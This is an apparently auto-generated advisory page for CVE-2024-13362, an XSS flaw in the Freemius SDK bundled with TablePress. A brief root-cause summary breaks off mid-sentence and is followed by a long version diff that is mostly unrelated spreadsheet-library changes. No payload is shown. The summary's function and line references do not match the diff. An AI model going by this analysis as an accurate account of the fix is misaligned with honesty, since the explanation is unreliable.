Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 6, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (tablepress)

Plugin tablepress
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.0.2
Patched Version 3.0.3
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362: This is a Reflected DOM-Based Cross-Site Scripting vulnerability in the Freemius SDK library (versions <= 2.10.1) as bundled with multiple WordPress plugins and themes, including TablePress. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts via the `url` parameter, achieving a CVSS score of 6.1 (Medium). The attack requires user interaction, such as clicking a crafted link.

The root cause lies in the `trial_promotion_message` filter within `tablepress/libraries/freemius/includes/class-freemius.php` (lines 24000-24014). The vulnerable code directly concatenates user-controllable data (the `trial_url` containing the `url` parameter) into an HTML anchor tag's `href` attribute without proper sanitization or output escaping. The affected function is `add_sticky()` in `class-fs-admin-notice-manager.php` (line 194). The `url` parameter flows into `$trial_url`, which is then embedded into `

--- a/tablepress/blocks/blocks-manifest.php
+++ b/tablepress/blocks/blocks-manifest.php
@@ -5,7 +5,7 @@
 		'$schema' => 'https://schemas.wp.org/trunk/block.json',
 		'apiVersion' => 3,
 		'name' => 'tablepress/table',
-		'version' => '3.0.2',
+		'version' => '3.0.3',
 		'title' => 'TablePress table',
 		'category' => 'media',
 		'icon' => 'list-view',
--- a/tablepress/blocks/table/build/index.asset.php
+++ b/tablepress/blocks/table/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-shortcode'), 'version' => 'cdcf4828488d034d7127');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-shortcode'), 'version' => '1e19f120a27788ffcd8d');
--- a/tablepress/classes/class-tablepress.php
+++ b/tablepress/classes/class-tablepress.php
@@ -27,7 +27,7 @@
 	 * @since 1.0.0
 	 * @const string
 	 */
-	public const version = '3.0.2'; // phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase
+	public const version = '3.0.3'; // phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase

 	/**
 	 * TablePress internal plugin version ("options scheme" version).
@@ -37,7 +37,7 @@
 	 * @since 1.0.0
 	 * @const int
 	 */
-	public const db_version = 98; // phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase
+	public const db_version = 99; // phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase

 	/**
 	 * TablePress "table scheme" (data format structure) version.
--- a/tablepress/libraries/freemius/includes/class-freemius.php
+++ b/tablepress/libraries/freemius/includes/class-freemius.php
@@ -24000,13 +24000,15 @@

 			// Start trial button.
 			$button = ' ' . sprintf(
-					'<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+					'<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
 					$trial_url,
 					$this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
 				);

+			$message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
 			$this->_admin_notices->add_sticky(
-				$this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+				"<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
 				'trial_promotion',
 				'',
 				'promotion'
@@ -25476,7 +25478,7 @@
 				$img_dir = WP_FS__DIR_IMG;

 				// Locate the main assets folder.
-				if ( 1 < count( $fs_active_plugins->plugins ) ) {
+				if ( ! empty( $fs_active_plugins->plugins ) ) {
 					$plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

 					foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/tablepress/libraries/freemius/includes/class-fs-plugin-updater.php
+++ b/tablepress/libraries/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

 			global $wp_current_filter;

-			$current_plugin_version = $this->_fs->get_plugin_version();
-
-			if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-				if (
-					is_null( $this->_update_details ) ||
-					( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-				) {
-					/**
-					 * After an update, clear the stored update details and reparse the plugin's main file in order to get
-					 * the updated version's information and prevent the previous update information from showing up on the
-					 * updates page.
-					 *
-					 * @author Leo Fajardo (@leorw)
-					 * @since 2.3.1
-					 */
-					$this->_update_details  = null;
-					$current_plugin_version = $this->_fs->get_plugin_version( true );
-				}
+			if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+				return $transient_data;
 			}

 			if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
 					false,
 					fs_request_get_bool( 'force-check' ),
 					FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-					$current_plugin_version
+					$this->_fs->get_plugin_version()
 				);

 				$this->_update_details = false;
--- a/tablepress/libraries/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/tablepress/libraries/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/tablepress/libraries/freemius/includes/entities/class-fs-site.php
+++ b/tablepress/libraries/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
 		exit;
 	}

-	/**
-	 * @property int $blog_id
-	 */
-	#[AllowDynamicProperties]
 	class FS_Site extends FS_Scope_Entity {
 		/**
 		 * @var number
 		 */
 		public $site_id;
 		/**
+		 * @var int
+		 */
+		public $blog_id;
+		/**
 		 * @var number
 		 */
 		public $plugin_id;
--- a/tablepress/libraries/freemius/includes/entities/class-fs-user.php
+++ b/tablepress/libraries/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/tablepress/libraries/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/tablepress/libraries/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,15 +699,35 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
 				$menu['parent_slug'] :
 				'admin.php';

+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
 			return admin_url(
 				$parent_slug .
 				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
 				'page=' .
-				$menu['menu'][2]
+				$menu_slug
 			);
 		}

--- a/tablepress/libraries/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/tablepress/libraries/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
 		 * @since  1.0.7
 		 */
 		static function _add_sticky_dismiss_javascript() {
+			$sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+			if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+				return;
+			}
+
 			$params = array();
-			fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+			fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
 		}

 		private static $_added_sticky_javascript = false;
--- a/tablepress/libraries/freemius/start.php
+++ b/tablepress/libraries/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.10.1';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Calculation.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Calculation.php
@@ -553,13 +553,13 @@
 			'argumentCount' => '2+',
 		],
 		'CHOOSECOLS' => [
-			'category' => Category::CATEGORY_MATH_AND_TRIG,
-			'functionCall' => [Functions::class, 'DUMMY'],
+			'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE,
+			'functionCall' => [LookupRefChooseRowsEtc::class, 'chooseCols'],
 			'argumentCount' => '2+',
 		],
 		'CHOOSEROWS' => [
-			'category' => Category::CATEGORY_MATH_AND_TRIG,
-			'functionCall' => [Functions::class, 'DUMMY'],
+			'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE,
+			'functionCall' => [LookupRefChooseRowsEtc::class, 'chooseRows'],
 			'argumentCount' => '2+',
 		],
 		'CLEAN' => [
@@ -925,8 +925,8 @@
 			'argumentCount' => '3',
 		],
 		'DROP' => [
-			'category' => Category::CATEGORY_MATH_AND_TRIG,
-			'functionCall' => [Functions::class, 'DUMMY'],
+			'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE,
+			'functionCall' => [LookupRefChooseRowsEtc::class, 'drop'],
 			'argumentCount' => '2-3',
 		],
 		'DSTDEV' => [
@@ -1025,8 +1025,8 @@
 			'argumentCount' => '1',
 		],
 		'EXPAND' => [
-			'category' => Category::CATEGORY_MATH_AND_TRIG,
-			'functionCall' => [Functions::class, 'DUMMY'],
+			'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE,
+			'functionCall' => [LookupRefChooseRowsEtc::class, 'expand'],
 			'argumentCount' => '2-4',
 		],
 		'EXPONDIST' => [
@@ -1256,6 +1256,11 @@
 			'functionCall' => [Functions::class, 'DUMMY'],
 			'argumentCount' => '2+',
 		],
+		'GROUPBY' => [
+			'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE,
+			'functionCall' => [Functions::class, 'DUMMY'],
+			'argumentCount' => '3-7',
+		],
 		'GROWTH' => [
 			'category' => Category::CATEGORY_STATISTICAL,
 			'functionCall' => [StatisticalTrends::class, 'GROWTH'],
@@ -2485,8 +2490,8 @@
 			'argumentCount' => '1',
 		],
 		'TAKE' => [
-			'category' => Category::CATEGORY_MATH_AND_TRIG,
-			'functionCall' => [Functions::class, 'DUMMY'],
+			'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE,
+			'functionCall' => [LookupRefChooseRowsEtc::class, 'take'],
 			'argumentCount' => '2-3',
 		],
 		'TAN' => [
@@ -4668,7 +4673,7 @@
 	private static int $matchIndex10 = 10;

 	/**
-	 * @return array<int, mixed>|false
+	 * @return array<int, mixed>|false|string
 	 * @param mixed $tokens
 	 */
 	private function processTokenStack($tokens, ?string $cellID = null, ?Cell $cell = null)
@@ -5250,6 +5255,9 @@
 				} elseif (preg_match('/^' . self::CALCULATION_REGEXP_DEFINEDNAME . '$/miu', $token, $matches)) {
 					// if the token is a named range or formula, evaluate it and push the result onto the stack
 					$definedName = $matches[6];
+					if (str_starts_with($definedName, '_xleta')) {
+						return Functions::NOT_YET_IMPLEMENTED;
+					}
 					if ($cell === null || $pCellWorksheet === null) {
 						return $this->raiseFormulaError("undefined name '$token'");
 					}
@@ -5282,6 +5290,7 @@
 					}

 					$result = $this->evaluateDefinedName($cell, $namedRange, $pCellWorksheet, $stack, $specifiedWorksheet !== '');
+
 					if (isset($storeKey)) {
 						$branchStore[$storeKey] = $result;
 					}
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Engine/ArrayArgumentHelper.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Engine/ArrayArgumentHelper.php
@@ -145,11 +145,9 @@
 	private function columns(array $arguments): array
 	{
 		return array_map(
-			function ($argument): int {
-				return is_array($argument) && is_array($argument[array_keys($argument)[0]])
+			fn ($argument): int => is_array($argument) && is_array($argument[array_keys($argument)[0]])
 					? count($argument[array_keys($argument)[0]])
-					: 1;
-			},
+					: 1,
 			$arguments
 		);
 	}
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Functions.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Functions.php
@@ -247,6 +247,32 @@
 	}

 	/**
+	 * Convert a multi-dimensional array to a simple 1-dimensional array.
+	 * Same as above but argument is specified in ... format.
+	 *
+	 * @param mixed $array Array to be flattened
+	 *
+	 * @return array Flattened array
+	 */
+	public static function flattenArray2(...$array): array
+	{
+		$flattened = [];
+		$stack = array_values($array);
+
+		while (!empty($stack)) {
+			$value = array_shift($stack);
+
+			if (is_array($value)) {
+				array_unshift($stack, ...array_values($value));
+			} else {
+				$flattened[] = $value;
+			}
+		}
+
+		return $flattened;
+	}
+
+	/**
 	 * @param mixed $value
 	 * @return mixed
 	 */
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/LookupRef/ChooseRowsEtc.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/LookupRef/ChooseRowsEtc.php
@@ -0,0 +1,259 @@
+<?php
+
+namespace TablePressPhpOfficePhpSpreadsheetCalculationLookupRef;
+
+use TablePressPhpOfficePhpSpreadsheetCalculationFunctions;
+use TablePressPhpOfficePhpSpreadsheetCalculationInformationExcelError;
+
+class ChooseRowsEtc
+{
+	/**
+	 * Transpose 2-dimensional array.
+	 * See https://stackoverflow.com/questions/797251/transposing-multidimensional-arrays-in-php
+	 * especially the comment from user17994717.
+	 *
+	 * @param mixed[] $array
+	 *
+	 * @return mixed[]
+	 */
+	public static function transpose(array $array): array
+	{
+		return empty($array) ? [] : (array_map((count($array) === 1) ? (fn ($x) => [$x]) : null, ...$array)); // @phpstan-ignore-line
+	}
+
+	/** @return mixed[]
+	 * @param mixed $array */
+	private static function arrayValues($array): array
+	{
+		return is_array($array) ? array_values($array) : [$array];
+	}
+
+	/**
+	 * CHOOSECOLS.
+	 *
+	 * @param mixed $input expecting two-dimensional array
+	 *
+	 * @return mixed[]|string
+	 * @param mixed ...$args
+	 */
+	public static function chooseCols($input, ...$args)
+	{
+		if (!is_array($input)) {
+			$input = [[$input]];
+		}
+		$retval = self::chooseRows(self::transpose($input), ...$args);
+
+		return is_array($retval) ? self::transpose($retval) : $retval;
+	}
+
+	/**
+	 * CHOOSEROWS.
+	 *
+	 * @param mixed $input expecting two-dimensional array
+	 *
+	 * @return mixed[]|string
+	 * @param mixed ...$args
+	 */
+	public static function chooseRows($input, ...$args)
+	{
+		if (!is_array($input)) {
+			$input = [[$input]];
+		}
+		$inputArray = [[]]; // no row 0
+		$numRows = 0;
+		foreach ($input as $inputRow) {
+			$inputArray[] = self::arrayValues($inputRow);
+			++$numRows;
+		}
+		$outputArray = [];
+		foreach (Functions::flattenArray2(...$args) as $arg) {
+			if (!is_numeric($arg)) {
+				return ExcelError::VALUE();
+			}
+			$index = (int) $arg;
+			if ($index < 0) {
+				$index += $numRows + 1;
+			}
+			if ($index <= 0 || $index > $numRows) {
+				return ExcelError::VALUE();
+			}
+			$outputArray[] = $inputArray[$index];
+		}
+
+		return $outputArray;
+	}
+
+	/**
+	 * @return mixed[]|string
+	 * @param mixed $offset
+	 */
+	private static function dropRows(array $array, $offset)
+	{
+		if ($offset === null) {
+			return $array;
+		}
+		if (!is_numeric($offset)) {
+			return ExcelError::VALUE();
+		}
+		$offset = (int) $offset;
+		$count = count($array);
+		if (abs($offset) >= $count) {
+			// In theory, this should be #CALC!, but Excel treats
+			// #CALC! as corrupt, and it's not worth figuring out why
+			return ExcelError::VALUE();
+		}
+		if ($offset === 0) {
+			return $array;
+		}
+		if ($offset > 0) {
+			return array_slice($array, $offset);
+		}
+
+		return array_slice($array, 0, $count + $offset);
+	}
+
+	/**
+	 * DROP.
+	 *
+	 * @param mixed $input expect two-dimensional array
+	 *
+	 * @return mixed[]|string
+	 * @param mixed $rows
+	 * @param mixed $columns
+	 */
+	public static function drop($input, $rows = null, $columns = null)
+	{
+		if (!is_array($input)) {
+			$input = [[$input]];
+		}
+		$inputArray = []; // no row 0
+		foreach ($input as $inputRow) {
+			$inputArray[] = self::arrayValues($inputRow);
+		}
+		$outputArray1 = self::dropRows($inputArray, $rows);
+		if (is_string($outputArray1)) {
+			return $outputArray1;
+		}
+		$outputArray2 = self::transpose($outputArray1);
+		$outputArray3 = self::dropRows($outputArray2, $columns);
+		if (is_string($outputArray3)) {
+			return $outputArray3;
+		}
+
+		return self::transpose($outputArray3);
+	}
+
+	/**
+	 * @return mixed[]|string
+	 * @param mixed $offset
+	 */
+	private static function takeRows(array $array, $offset)
+	{
+		if ($offset === null) {
+			return $array;
+		}
+		if (!is_numeric($offset)) {
+			return ExcelError::VALUE();
+		}
+		$offset = (int) $offset;
+		if ($offset === 0) {
+			// should be #CALC! - see above
+			return ExcelError::VALUE();
+		}
+		$count = count($array);
+		if (abs($offset) >= $count) {
+			return $array;
+		}
+		if ($offset > 0) {
+			return array_slice($array, 0, $offset);
+		}
+
+		return array_slice($array, $count + $offset);
+	}
+
+	/**
+	 * TAKE.
+	 *
+	 * @param mixed $input expecting two-dimensional array
+	 *
+	 * @return mixed[]|string
+	 * @param mixed $rows
+	 * @param mixed $columns
+	 */
+	public static function take($input, $rows, $columns = null)
+	{
+		if (!is_array($input)) {
+			$input = [[$input]];
+		}
+		if ($rows === null && $columns === null) {
+			return $input;
+		}
+		$inputArray = [];
+		foreach ($input as $inputRow) {
+			$inputArray[] = self::arrayValues($inputRow);
+		}
+		$outputArray1 = self::takeRows($inputArray, $rows);
+		if (is_string($outputArray1)) {
+			return $outputArray1;
+		}
+		$outputArray2 = self::transpose($outputArray1);
+		$outputArray3 = self::takeRows($outputArray2, $columns);
+		if (is_string($outputArray3)) {
+			return $outputArray3;
+		}
+
+		return self::transpose($outputArray3);
+	}
+
+	/**
+	 * EXPAND.
+	 *
+	 * @param mixed $input expecting two-dimensional array
+	 *
+	 * @return mixed[]|string
+	 * @param mixed $rows
+	 * @param mixed $columns
+	 * @param mixed $pad
+	 */
+	public static function expand($input, $rows, $columns = null, $pad = '#N/A')
+	{
+		if (!is_array($input)) {
+			$input = [[$input]];
+		}
+		if ($rows === null && $columns === null) {
+			return $input;
+		}
+		$numRows = count($input);
+		$rows ??= $numRows;
+		if (!is_numeric($rows)) {
+			return ExcelError::VALUE();
+		}
+		$rows = (int) $rows;
+		if ($rows < count($input)) {
+			return ExcelError::VALUE();
+		}
+		$numCols = 0;
+		foreach ($input as $inputRow) {
+			$numCols = max($numCols, is_array($inputRow) ? count($inputRow) : 1);
+		}
+		$columns ??= $numCols;
+		if (!is_numeric($columns)) {
+			return ExcelError::VALUE();
+		}
+		$columns = (int) $columns;
+		if ($columns < $numCols) {
+			return ExcelError::VALUE();
+		}
+		$inputArray = [];
+		foreach ($input as $inputRow) {
+			$inputArray[] = array_pad(self::arrayValues($inputRow), $columns, $pad);
+		}
+		$outputArray = [];
+		$padRow = array_pad([], $columns, $pad);
+		for ($count = 0; $count < $rows; ++$count) {
+			$outputArray[] = ($count >= $numRows) ? $padRow : $inputArray[$count];
+		}
+
+		return $outputArray;
+	}
+}
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/MathTrig/Random.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/MathTrig/Random.php
@@ -86,11 +86,9 @@

 		return array_chunk(
 			array_map(
-				function () use ($min, $max, $wholeNumber) {
-					return $wholeNumber
+				fn () => $wholeNumber
 						? mt_rand((int) $min, (int) $max)
-						: (mt_rand() / mt_getrandmax()) * ($max - $min) + $min;
-				},
+						: (mt_rand() / mt_getrandmax()) * ($max - $min) + $min,
 				array_fill(0, $rows * $columns, $min)
 			),
 			max($columns, 1)
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Statistical/Distributions/ChiSquared.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/Statistical/Distributions/ChiSquared.php
@@ -133,10 +133,8 @@
 			return ExcelError::NAN();
 		}

-		$callback = function ($value) use ($degrees): float {
-			return 1 - (Gamma::incompleteGamma($degrees / 2, $value / 2)
+		$callback = fn ($value): float => 1 - (Gamma::incompleteGamma($degrees / 2, $value / 2)
 					/ Gamma::gammaValue($degrees / 2));
-		};

 		$newtonRaphson = new NewtonRaphson($callback);

--- a/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/TextData/Text.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Calculation/TextData/Text.php
@@ -174,11 +174,9 @@
 		);

 		return array_map(
-			function (array $row) use ($columnCount, $padding): array {
-				return (count($row) < $columnCount)
+			fn (array $row): array => (count($row) < $columnCount)
 					? array_merge($row, array_fill(0, $columnCount - count($row), $padding))
-					: $row;
-			},
+					: $row,
 			$rows
 		);
 	}
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Collection/Memory/SimpleCache1.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Collection/Memory/SimpleCache1.php
@@ -46,9 +46,9 @@
 	}

 	/**
-				 * @return mixed
-				 */
-				public function get($key, $default = null)
+	 * @return mixed
+	 */
+	public function get($key, $default = null)
 	{
 		if ($this->has($key)) {
 			return $this->cache[$key];
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Ods/FormulaTranslator.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Ods/FormulaTranslator.php
@@ -6,10 +6,24 @@

 class FormulaTranslator
 {
-	public static function convertToExcelAddressValue(string $openOfficeAddress): string
+	private static function replaceQuotedPeriod(string $value): string
 	{
-		$excelAddress = $openOfficeAddress;
+		$value2 = '';
+		$quoted = false;
+		foreach (mb_str_split($value, 1, 'UTF-8') as $char) {
+			if ($char === "'") {
+				$quoted = !$quoted;
+			} elseif ($char === '.' && $quoted) {
+				$char = "u{fffe}";
+			}
+			$value2 .= $char;
+		}
+
+		return $value2;
+	}

+	public static function convertToExcelAddressValue(string $openOfficeAddress): string
+	{
 		// Cell range 3-d reference
 		// As we don't support 3-d ranges, we're just going to take a quick and dirty approach
 		//  and assume that the second worksheet reference is the same as the first
@@ -20,6 +34,7 @@
 				'/$?([^.]+).([^.]+)/miu', // Cell reference in another sheet
 				'/.([^.]+):.([^.]+)/miu', // Cell range reference
 				'/.([^.]+)/miu', // Simple cell reference
+				'/\x{FFFE}/miu', // restore quoted periods
 			],
 			[
 				'$1!$2:$4',
@@ -27,8 +42,9 @@
 				'$1!$2',
 				'$1:$2',
 				'$1',
+				'.',
 			],
-			$excelAddress
+			self::replaceQuotedPeriod($openOfficeAddress)
 		);

 		return $excelAddress;
@@ -52,14 +68,16 @@
 						'/[$?([^.]+).([^.]+)]/miu', // Cell reference in another sheet
 						'/[.([^.]+):.([^.]+)]/miu', // Cell range reference
 						'/[.([^.]+)]/miu', // Simple cell reference
+						'/\x{FFFE}/miu', // restore quoted periods
 					],
 					[
 						'$1!$2:$3',
 						'$1!$2',
 						'$1:$2',
 						'$1',
+						'.',
 					],
-					$value
+					self::replaceQuotedPeriod($value)
 				);
 				// Convert references to defined names/formulae
 				$value = str_replace('$$', '', $value);
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Xls/ConditionalFormatting.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Xls/ConditionalFormatting.php
@@ -288,12 +288,12 @@
 	}

 	/*private function getCFProtectionStyle(string $options, Style $style, Xls $xls): void
-					{
-					}*/
-				/**
-				 * @return float|int|string|null
-				 */
-				private function readCFFormula(string $recordData, int $offset, int $size, Xls $xls)
+		{
+		}*/
+	/**
+	 * @return float|int|string|null
+	 */
+	private function readCFFormula(string $recordData, int $offset, int $size, Xls $xls)
 	{
 		try {
 			$formula = substr($recordData, $offset, $size);
@@ -311,10 +311,10 @@
 	}

 	/**
-				 * @param null|float|int|string $formula1
-				 * @param null|float|int|string $formula2
-				 */
-				private function setCFRules(array $cellRanges, string $type, string $operator, $formula1, $formula2, Style $style, bool $noFormatSet, Xls $xls): void
+	 * @param null|float|int|string $formula1
+	 * @param null|float|int|string $formula2
+	 */
+	private function setCFRules(array $cellRanges, string $type, string $operator, $formula1, $formula2, Style $style, bool $noFormatSet, Xls $xls): void
 	{
 		foreach ($cellRanges as $cellRange) {
 			$conditional = new Conditional();
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Xls/ListFunctions.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Xls/ListFunctions.php
@@ -31,22 +31,22 @@
 			$code = self::getUInt2d($xls->data, $xls->pos);

 			switch ($code) {
-													case self::XLS_TYPE_BOF:
-														$xls->readBof();
-														break;
-													case self::XLS_TYPE_SHEET:
-														$xls->readSheet();
-														break;
-													case self::XLS_TYPE_EOF:
-														$xls->readDefault();
-														break;
-													case self::XLS_TYPE_CODEPAGE:
-														$xls->readCodepage();
-														break;
-													default:
-														$xls->readDefault();
-														break;
-												}
+				case self::XLS_TYPE_BOF:
+					$xls->readBof();
+					break;
+				case self::XLS_TYPE_SHEET:
+					$xls->readSheet();
+					break;
+				case self::XLS_TYPE_EOF:
+					$xls->readDefault();
+					break;
+				case self::XLS_TYPE_CODEPAGE:
+					$xls->readCodepage();
+					break;
+				default:
+					$xls->readDefault();
+					break;
+			}

 			if ($code === self::XLS_TYPE_EOF) {
 				break;
@@ -87,22 +87,22 @@
 			$code = self::getUInt2d($xls->data, $xls->pos);

 			switch ($code) {
-													case self::XLS_TYPE_BOF:
-														$xls->readBof();
-														break;
-													case self::XLS_TYPE_SHEET:
-														$xls->readSheet();
-														break;
-													case self::XLS_TYPE_EOF:
-														$xls->readDefault();
-														break;
-													case self::XLS_TYPE_CODEPAGE:
-														$xls->readCodepage();
-														break;
-													default:
-														$xls->readDefault();
-														break;
-												}
+				case self::XLS_TYPE_BOF:
+					$xls->readBof();
+					break;
+				case self::XLS_TYPE_SHEET:
+					$xls->readSheet();
+					break;
+				case self::XLS_TYPE_EOF:
+					$xls->readDefault();
+					break;
+				case self::XLS_TYPE_CODEPAGE:
+					$xls->readCodepage();
+					break;
+				default:
+					$xls->readDefault();
+					break;
+			}

 			if ($code === self::XLS_TYPE_EOF) {
 				break;
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Xlsx.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Reader/Xlsx.php
@@ -864,6 +864,8 @@
 										}

 										// Read cell!
+										$useFormula = isset($c->f)
+											&& ((string) $c->f !== '' || (isset($c->f->attributes()['t']) && strtolower((string) $c->f->attributes()['t']) === 'shared'));
 										switch ($cellDataType) {
 											case DataType::TYPE_STRING:
 												if ((string) $c->v != '') {
@@ -878,7 +880,7 @@

 												break;
 											case DataType::TYPE_BOOL:
-												if (!isset($c->f) || ((string) $c->f) === '') {
+												if (!$useFormula) {
 													if (isset($c->v)) {
 														$value = self::castToBoolean($c);
 													} else {
@@ -893,16 +895,16 @@

 												break;
 											case DataType::TYPE_STRING2:
-												if (isset($c->f)) {
+												if ($useFormula) {
 													$this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToString');
 													self::storeFormulaAttributes($c->f, $docSheet, $r);
 												} else {
-													 $value = self::castToString($c);
+													$value = self::castToString($c);
 												}

 												break;
 											case DataType::TYPE_INLINE:
-												if (isset($c->f)) {
+												if ($useFormula) {
 													$this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToError');
 													self::storeFormulaAttributes($c->f, $docSheet, $r);
 												} else {
@@ -911,7 +913,7 @@

 												break;
 											case DataType::TYPE_ERROR:
-												if (!isset($c->f)) {
+												if (!$useFormula) {
 													$value = self::castToError($c);
 												} else {
 													// Formula
@@ -926,7 +928,7 @@

 												break;
 											default:
-												if (!isset($c->f)) {
+												if (!$useFormula) {
 													$value = self::castToString($c);
 													if (is_numeric($value)) {
 														$value += 0;
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Shared/StringHelper.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Shared/StringHelper.php
@@ -326,11 +326,11 @@
 	}

 	/**
-				 * Formats a numeric value as a string for output in various output writers forcing
-				 * point as decimal separator in case locale is other than English.
-				 * @param float|int|string|null $numericValue
-				 */
-				public static function formatNumber($numericValue): string
+	 * Formats a numeric value as a string for output in various output writers forcing
+	 * point as decimal separator in case locale is other than English.
+	 * @param float|int|string|null $numericValue
+	 */
+	public static function formatNumber($numericValue): string
 	{
 		if (is_float($numericValue)) {
 			return str_replace(',', '.', (string) $numericValue);
@@ -639,4 +639,9 @@

 		return (is_numeric(substr($textValue, 0, strlen((string) $v)))) ? $v : $textValue;
 	}
+
+	public static function strlenAllowNull(?string $string): int
+	{
+		return strlen("$string");
+	}
 }
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Spreadsheet.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Spreadsheet.php
